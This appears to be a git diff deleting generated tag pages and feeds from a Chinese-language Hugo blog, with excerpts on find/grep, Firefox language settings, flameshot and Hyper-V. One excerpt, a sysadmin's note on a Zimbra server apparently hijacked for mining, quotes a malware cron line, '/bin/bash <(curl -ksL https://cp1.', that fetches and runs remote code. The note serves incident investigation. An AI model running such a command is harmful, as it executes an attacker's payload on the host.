    - - - 很好用的指令 在當前目錄底下(包含子目錄)尋找所有附檔名為php的檔案,並在這些檔案中,尋找包含 abc.def 字串的檔案並列出結果 -  > find .. -name “.php”|xargs grep -n abc.def 使用結果 > [root@vm00015-1 models]# find .. -name “.php”|xargs grep -n abc.def > > ../views/welcome.php:252: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> > > ../views/welcome.php:260: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/welcome.php:263: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/mobile.php:127: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> > > ../views/mobile.php:130: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/mobile.php:133: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/template.php:165: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> > > ../views/template.php:168: <span><a href=“http://abc. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/find/page/1/index.html b/themes/public/tags/find/page/1/index.html deleted file mode 100644 index 6d820010..00000000 --- a/themes/public/tags/find/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/find/ \ No newline at end of file diff --git a/themes/public/tags/firefox/index.html b/themes/public/tags/firefox/index.html deleted file mode 100644 index 239860c5..00000000 --- a/themes/public/tags/firefox/index.html +++ /dev/null @@ -1,382 +0,0 @@ - - - - - - - - - - Firefox | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

    -
    - - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在測試metabase,記得幾個月前就有測試過

    - -

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    - -

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    - -

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/firefox/index.xml b/themes/public/tags/firefox/index.xml deleted file mode 100644 index 99e09120..00000000 --- a/themes/public/tags/firefox/index.xml +++ /dev/null @@ -1,31 +0,0 @@ - - - - Firefox on MC部落 - https://h.cowbay.org/tags/firefox/ - Recent content in Firefox on MC部落 - Hugo -- gohugo.io - Thu, 15 Nov 2018 11:06:28 +0800 - - - - - - [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - <p>最近在測試metabase,記得幾個月前就有測試過</p> - -<p>但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的</p> - -<p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> - -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/flameshot/index.html b/themes/public/tags/flameshot/index.html deleted file mode 100644 index c9ba7c42..00000000 --- a/themes/public/tags/flameshot/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - Flameshot | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    筆記- ubuntu 18.04 上好用的screen capture 軟體 flameshot

    -
    - - - 0001-01-01 - - - - - - - - -
    - - - flameshot flameshot 官方網站 -之前在 windows 底下,有個非常好用的螢幕擷取軟體叫做 shareX 結合了螢幕擷取、錄影、擷取後編輯(上浮水印/馬賽克)、上傳免費空間、生成短網址的功能 可以說是最棒的螢幕擷取軟體,對,沒錯,就是最棒的,其他沒一個能打的! opensource、portable、還可以整合一堆workflow,真的是史上最強了! 把特!人生就是這個把特啊! -自從換到Linux平台工作後,sharex就不能使用了(泣 本來一直在癡癡的等待看有沒有高手可以幫忙移植到linux平台來 可惜的是一直沒等到… 工作上又開始會用到這種軟體了,本來屈就於 kazam (錄影) / 內建的screenshot 工具 但是用起來真的就是很不順手! -直到找到了這個軟體 - flameshot 可以作到我想要的功能 -按下快速鍵–>選擇要擷取的畫面–>編輯擷取的圖片–>上傳到免費空間 雖然還沒辦法作到加入浮水印、生成短網址 不過已經是很好用的軟體了 -這個是官網上的介紹圖片 [](https://raw.githubusercontent.com/lupoDharkael/flameshot/master/img/preview/animatedUsage.gif) -編輯功能還有點陽春,可以用的功能不多(但也已經是夠用的狀態) 作者也有在看github上的討論,有問題可以盡量提 -不過還是希望shareX能夠移植到linux平台來 整合度還是比較高的,尤其是螢幕錄影、自動加入浮水印、生成短網址的功能 真的是非常好用! 另外 flameshot 在ubuntu 14.04/16.04上安裝會比較困難 直到 ubuntu 18.04 ,加入官方的repository ,可以用 apt 直接安裝了 安裝就一行指令 -sudo apt isntall flameshot 然後可以到ubuntu 的系統設定值,去設定快捷鍵,執行指令用 -flameshot gui 我是設定在 ctrl+1,所以要截圖的時候,我就按下ctrl+1 ,就會叫出flameshot的gui 目前來說,暫時沒有其他更好的解決方案了 不過還是希望shareX能夠移植到Linux上啊!(到底是有多愛shareX!) - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/flameshot/page/1/index.html b/themes/public/tags/flameshot/page/1/index.html deleted file mode 100644 index dfd854cc..00000000 --- a/themes/public/tags/flameshot/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/flameshot/ \ No newline at end of file diff --git a/themes/public/tags/free-speech/index.html b/themes/public/tags/free-speech/index.html deleted file mode 100644 index 4867e9fa..00000000 --- a/themes/public/tags/free-speech/index.html +++ /dev/null @@ -1,345 +0,0 @@ - - - - - - - - - - Free Speech | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - -
    -

    Arguing that you don’t care about the right to privacy because you have nothing to hide is no different than saying you don’t care about free speech because you have nothing to say.

    - - Edward Snowden -
    -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/free-speech/index.xml b/themes/public/tags/free-speech/index.xml deleted file mode 100644 index e60329d5..00000000 --- a/themes/public/tags/free-speech/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Free Speech on My cool new Blog - https://h.cowbay.org/tags/free-speech/ - Recent content in Free Speech on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 13:01:14 +0100 - - - - - - Edward Snowden About Privacy - https://h.cowbay.org/quote/edward-snowden-privacy/ - Wed, 01 Nov 2017 13:01:14 +0100 - - https://h.cowbay.org/quote/edward-snowden-privacy/ - Arguing that you don&rsquo;t care about the right to privacy because you have nothing to hide is no different than saying you don&rsquo;t care about free speech because you have nothing to say. - - - - \ No newline at end of file diff --git a/themes/public/tags/free-speech/page/1/index.html b/themes/public/tags/free-speech/page/1/index.html deleted file mode 100644 index 162ce065..00000000 --- a/themes/public/tags/free-speech/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/free-speech/ \ No newline at end of file diff --git a/themes/public/tags/freebsd/page/1/index.html b/themes/public/tags/freebsd/page/1/index.html deleted file mode 100644 index 4018ad00..00000000 --- a/themes/public/tags/freebsd/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/freebsd/ \ No newline at end of file diff --git a/themes/public/tags/give-me-coins/index.html b/themes/public/tags/give-me-coins/index.html deleted file mode 100644 index a7f07816..00000000 --- a/themes/public/tags/give-me-coins/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - Give Me Coins | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] Zimbra 主機疑似被拿來挖礦了

    -
    - - - 2014-08-08 - - - - - - - - - 工作筆記 - - - - - -
    - - - 最近發現Zimbra主機似乎被駭客打進去了 -會有 root 往外發信的紀錄,所以在 zimbra的postfix裡面設定了 always_bcc ,想看一下到底是寄出什麼東西 -似乎是透過crontab 定時送出,可是我/etc底下的 crontab 都檢查過了,沒看到異常說.. -信件內容如下 > > > > > > > > > > > > > > > > > > ### Cron Daemon <root@> > > > > > > > > > > > > > > 3:00 (5 小時前) > > > > > > > > > > > > > > > > > > > > > > > > 寄給 zimbra > > > > > > > > > > > > > > > > > > > > > > > > /bin/sh: -c: line 0: syntax error near unexpected token (' > > /bin/sh: -c: line 0:/bin/bash <(curl -ksL https://cp1. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/give-me-coins/page/1/index.html b/themes/public/tags/give-me-coins/page/1/index.html deleted file mode 100644 index bfd2f86e..00000000 --- a/themes/public/tags/give-me-coins/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/give-me-coins/ \ No newline at end of file diff --git a/themes/public/tags/glennfinnan-viaduct/index.html b/themes/public/tags/glennfinnan-viaduct/index.html deleted file mode 100644 index ce104cd4..00000000 --- a/themes/public/tags/glennfinnan-viaduct/index.html +++ /dev/null @@ -1,426 +0,0 @@ - - - - - - - - - - Glennfinnan Viaduct | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/glennfinnan-viaduct/index.xml b/themes/public/tags/glennfinnan-viaduct/index.xml deleted file mode 100644 index 35c87cc0..00000000 --- a/themes/public/tags/glennfinnan-viaduct/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Glennfinnan Viaduct on My cool new Blog - https://h.cowbay.org/tags/glennfinnan-viaduct/ - Recent content in Glennfinnan Viaduct on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - My Trip to Scotland - https://h.cowbay.org/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/gallery/my-trip-to-scotland/ - In June 2017 I&rsquo;ve visited Scotland with my best friend for two weeks. We drove a lot through the beautiful countryside and saw a lot of different animals: cattle, deer, birds, dolphins, and sheep. Sheep everywhere! -At one beautiful camping site, we saw cattle in fog in the very early morning and took a picture of it. The image now has the title &ldquo;Rindviehcher im Nebel&rdquo;, a quite funny German phrase that means cattle in the fog. - - - - \ No newline at end of file diff --git a/themes/public/tags/glennfinnan-viaduct/page/1/index.html b/themes/public/tags/glennfinnan-viaduct/page/1/index.html deleted file mode 100644 index ed9dee24..00000000 --- a/themes/public/tags/glennfinnan-viaduct/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/glennfinnan-viaduct/ \ No newline at end of file diff --git a/themes/public/tags/go/index.html b/themes/public/tags/go/index.html deleted file mode 100644 index a0b5f779..00000000 --- a/themes/public/tags/go/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - Go | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Go is for lovers

    -
    - - - 2015-09-17 - - - - - - - - - programming - - - - - - test2 - -
    - - - Hugo uses the excellent go html/template library for its template engine. It is an extremely lightweight engine that provides a very small amount of logic. In our experience that it is just the right amount of logic to be able to create a good static website. If you have used other template systems from different languages or frameworks you will find a lot of similarities in go templates. -This document is a brief primer on using go templates. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/go/page/1/index.html b/themes/public/tags/go/page/1/index.html deleted file mode 100644 index 44ca26bf..00000000 --- a/themes/public/tags/go/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/go/ \ No newline at end of file diff --git a/themes/public/tags/golang/index.html b/themes/public/tags/golang/index.html deleted file mode 100644 index d18c2e37..00000000 --- a/themes/public/tags/golang/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - Golang | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Linked post

    -
    - - - 2015-10-02 - - - - - - - - - programming - - - - - -
    - - - I’m a linked post in the menu. You can add other posts by adding the following line to the frontmatter: -menu = "main" Lorem ipsum dolor sit amet, consectetur adipiscing elit. In mauris nulla, vestibulum vel auctor sed, posuere eu lorem. Aliquam consequat augue ut accumsan mollis. Suspendisse malesuada sodales tincidunt. Vivamus sed erat ac augue bibendum porta sed id ipsum. Ut mollis mauris eget ligula sagittis cursus. Aliquam id pharetra tellus. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/golang/page/1/index.html b/themes/public/tags/golang/page/1/index.html deleted file mode 100644 index 32ca5e18..00000000 --- a/themes/public/tags/golang/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/golang/ \ No newline at end of file diff --git a/themes/public/tags/google-code-in/index.html b/themes/public/tags/google-code-in/index.html deleted file mode 100644 index 03b6568a..00000000 --- a/themes/public/tags/google-code-in/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - Google Code In | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Testing "django-netjsonconfig"

    -
    - - - 2018-01-14 - - - - - - - - - programming - - - - - -
    - - - A task came up in Google Code-in which asked me to install the django-netjsonconfig module by OpenWISP. Furthermore, I’m also supposed to share the challenges I faced during the set-up process as a sort of feedback. I’ll be trying be concise in this post so, without further ado, I’m beginning with this post. -Installing “django-netjsonconfig” The installation instructions for this this module have been well-documented on its GitHub repository. So I began the installation by creating a Python 2. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/google-code-in/page/1/index.html b/themes/public/tags/google-code-in/page/1/index.html deleted file mode 100644 index 078c7adf..00000000 --- a/themes/public/tags/google-code-in/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/google-code-in/ \ No newline at end of file diff --git a/themes/public/tags/grep/index.html b/themes/public/tags/grep/index.html deleted file mode 100644 index 55fd18d7..00000000 --- a/themes/public/tags/grep/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - Grep | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 利用find/grep/xargs 在目錄中找出所有包含特定字串的檔案路徑

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 很好用的指令 在當前目錄底下(包含子目錄)尋找所有附檔名為php的檔案,並在這些檔案中,尋找包含 abc.def 字串的檔案並列出結果 -  > find .. -name “.php”|xargs grep -n abc.def 使用結果 > [root@vm00015-1 models]# find .. -name “.php”|xargs grep -n abc.def > > ../views/welcome.php:252: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> > > ../views/welcome.php:260: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/welcome.php:263: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/mobile.php:127: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> > > ../views/mobile.php:130: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/mobile.php:133: <span><a href=“http://abc.def.com" target=”_blank”></a></span> > > ../views/template.php:165: <span><a href=“http://abc.def.com" target=”_blank”>設計</a></span> > > ../views/template.php:168: <span><a href=“http://abc. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/grep/page/1/index.html b/themes/public/tags/grep/page/1/index.html deleted file mode 100644 index 16bd3212..00000000 --- a/themes/public/tags/grep/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/grep/ \ No newline at end of file diff --git a/themes/public/tags/hexo/page/1/index.html b/themes/public/tags/hexo/page/1/index.html deleted file mode 100644 index 86877643..00000000 --- a/themes/public/tags/hexo/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/hexo/ \ No newline at end of file diff --git a/themes/public/tags/highlight/index.html b/themes/public/tags/highlight/index.html deleted file mode 100644 index 5ed08abb..00000000 --- a/themes/public/tags/highlight/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - Highlight | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/highlight/page/1/index.html b/themes/public/tags/highlight/page/1/index.html deleted file mode 100644 index cea109ea..00000000 --- a/themes/public/tags/highlight/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/highlight/ \ No newline at end of file diff --git a/themes/public/tags/house/index.html b/themes/public/tags/house/index.html deleted file mode 100644 index 9e8150c8..00000000 --- a/themes/public/tags/house/index.html +++ /dev/null @@ -1,393 +0,0 @@ - - - - - - - - - - House | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    雜念-輕井澤的老房子

    -
    - - - 2017-07-27 - - - - - - - - -
    - - - 原始網址: 小蟹子的流浪 -如果哪天中了威力彩頭獎獨得,應該會找個山上弄這麼一間來避暑吧。 -不過好像去長期包飯店房間(兩三個月)比較划算… -醒醒吧!你不會中頭獎! - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/house/page/1/index.html b/themes/public/tags/house/page/1/index.html deleted file mode 100644 index cd273c32..00000000 --- a/themes/public/tags/house/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/house/ \ No newline at end of file diff --git a/themes/public/tags/hugo/index.html b/themes/public/tags/hugo/index.html deleted file mode 100644 index 4c28ffc1..00000000 --- a/themes/public/tags/hugo/index.html +++ /dev/null @@ -1,466 +0,0 @@ - - - - - - - - - - Hugo | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/hugo/index.xml b/themes/public/tags/hugo/index.xml deleted file mode 100644 index 2820e555..00000000 --- a/themes/public/tags/hugo/index.xml +++ /dev/null @@ -1,35 +0,0 @@ - - - - Hugo on My cool new Blog - https://h.cowbay.org/tags/hugo/ - Recent content in Hugo on My cool new Blog - Hugo -- gohugo.io - Wed, 31 Oct 2018 00:00:00 +0000 - - - - - - 筆記 HUGO 主題 Lednerb/bilberry-hugo-theme - https://h.cowbay.org/article/hugo-theme-bliberry/ - Wed, 31 Oct 2018 00:00:00 +0000 - - https://h.cowbay.org/article/hugo-theme-bliberry/ - test 1 - - - - Installing Bilberry Theme - https://h.cowbay.org/code/installing-bilberry-theme/ - Wed, 01 Nov 2017 09:31:27 +0100 - - https://h.cowbay.org/code/installing-bilberry-theme/ - <p>You will find all information to setup this theme with your hugo site -on the official <br> <a href="https://github.com/Lednerb/bilberry-hugo-theme">Github Repository</a>.</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/hugo/page/1/index.html b/themes/public/tags/hugo/page/1/index.html deleted file mode 100644 index 4bf5ae64..00000000 --- a/themes/public/tags/hugo/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/hugo/ \ No newline at end of file diff --git a/themes/public/tags/hyper-v/index.html b/themes/public/tags/hyper-v/index.html deleted file mode 100644 index ba5b8df0..00000000 --- a/themes/public/tags/hyper-v/index.html +++ /dev/null @@ -1,398 +0,0 @@ - - - - - - - - - - Hyper V | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    筆記-Win10 Hyper-V 的 vmguest.iso

    -
    - - - 2017-07-24 - - - - - - - - -
    - - - 幫客戶處理在Win10 Pro 底下用Hyper-V 作 WinXP -但是hyper-V預設已經不提供 vmguest.iso -這個是去網路上找到的,測試過裝WinXP 雖然ok,但是裝置管理員還是很多「不明裝置」 -反正先讓業務能交貨就好了 -vmguest.iso MEGA 空間下載 - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/hyper-v/page/1/index.html b/themes/public/tags/hyper-v/page/1/index.html deleted file mode 100644 index ce124948..00000000 --- a/themes/public/tags/hyper-v/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/hyper-v/ \ No newline at end of file diff --git a/themes/public/tags/index.html b/themes/public/tags/index.html deleted file mode 100644 index 3c57a56f..00000000 --- a/themes/public/tags/index.html +++ /dev/null @@ -1,334 +0,0 @@ - - - - - - - - - - Tags | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    -
    - - - - - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/index.xml b/themes/public/tags/index.xml deleted file mode 100644 index 66bef7f5..00000000 --- a/themes/public/tags/index.xml +++ /dev/null @@ -1,140 +0,0 @@ - - - - Tags on MC部落 - https://h.cowbay.org/tags/ - Recent content in Tags on MC部落 - Hugo -- gohugo.io - Tue, 06 Nov 2018 14:57:14 +0800 - - - - - - Bookstack - https://h.cowbay.org/tags/bookstack/ - Tue, 06 Nov 2018 14:57:14 +0800 - - https://h.cowbay.org/tags/bookstack/ - - - - - Docker - https://h.cowbay.org/tags/docker/ - Tue, 06 Nov 2018 14:57:14 +0800 - - https://h.cowbay.org/tags/docker/ - - - - - Du - https://h.cowbay.org/tags/du/ - Tue, 06 Nov 2018 15:24:29 +0800 - - https://h.cowbay.org/tags/du/ - - - - - Firefox - https://h.cowbay.org/tags/firefox/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/tags/firefox/ - - - - - Linux - https://h.cowbay.org/tags/linux/ - Tue, 06 Nov 2018 15:24:29 +0800 - - https://h.cowbay.org/tags/linux/ - - - - - Metabase - https://h.cowbay.org/tags/metabase/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/tags/metabase/ - - - - - Nas - https://h.cowbay.org/tags/nas/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/tags/nas/ - - - - - Ps - https://h.cowbay.org/tags/ps/ - Mon, 05 Nov 2018 07:46:53 +0800 - - https://h.cowbay.org/tags/ps/ - - - - - Psql - https://h.cowbay.org/tags/psql/ - Mon, 12 Nov 2018 09:48:12 +0800 - - https://h.cowbay.org/tags/psql/ - - - - - Ssh - https://h.cowbay.org/tags/ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/tags/ssh/ - - - - - Synology - https://h.cowbay.org/tags/synology/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/tags/synology/ - - - - - Ubuntu - https://h.cowbay.org/tags/ubuntu/ - Thu, 08 Nov 2018 18:01:23 +0800 - - https://h.cowbay.org/tags/ubuntu/ - - - - - 短今 - https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ - Mon, 05 Nov 2018 07:46:53 +0800 - - https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ - - - - - 筆記 - https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ - - - - - \ No newline at end of file diff --git a/themes/public/tags/internet/index.html b/themes/public/tags/internet/index.html deleted file mode 100644 index caaf0204..00000000 --- a/themes/public/tags/internet/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - Internet | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] XenServer/XenApp 不透過AG,直接從Internet連線的方式

    -
    - - - 2013-10-03 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為最近要再次開放遠端桌面連線給員工使用,基於某些原因,我不是很想直接讓USER直接連線。

    - -

    不管是透過terminal service or XenApp,不過,命令終究是命令,遠端連線自然是沒有問題,不過之前問過廠商,如果要在INTERNET上直接提供XenApp,都是建議前面再放個AG之類的,那又是一筆額外的成本,所以這兩天在測試怎麼從INTERNET上直接連XenApp服務,但是碰到了許多的問題,以下簡單記錄一下處理的步驟。

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/internet/page/1/index.html b/themes/public/tags/internet/page/1/index.html deleted file mode 100644 index 41041351..00000000 --- a/themes/public/tags/internet/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/internet/ \ No newline at end of file diff --git a/themes/public/tags/iphone/page/1/index.html b/themes/public/tags/iphone/page/1/index.html deleted file mode 100644 index 3caa850c..00000000 --- a/themes/public/tags/iphone/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/iphone/ \ No newline at end of file diff --git a/themes/public/tags/ipsum/index.html b/themes/public/tags/ipsum/index.html deleted file mode 100644 index 017f79dc..00000000 --- a/themes/public/tags/ipsum/index.html +++ /dev/null @@ -1,465 +0,0 @@ - - - - - - - - - - Ipsum | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Hugo Travelify Theme Features

    -
    - - - 2016-06-28 - - - - - - - - - lorem - - - - - -
    - - -

    Hugo-Travelify-Theme is the Hugo version of the Wordpress theme - Travelify . The source code was adapted from digitalcraftsman’s Icarus theme with a few changes for additional features (Even this README is a fork from his original theme README :)).

    - -

    - - - Continue reading - - -
    - - - - -
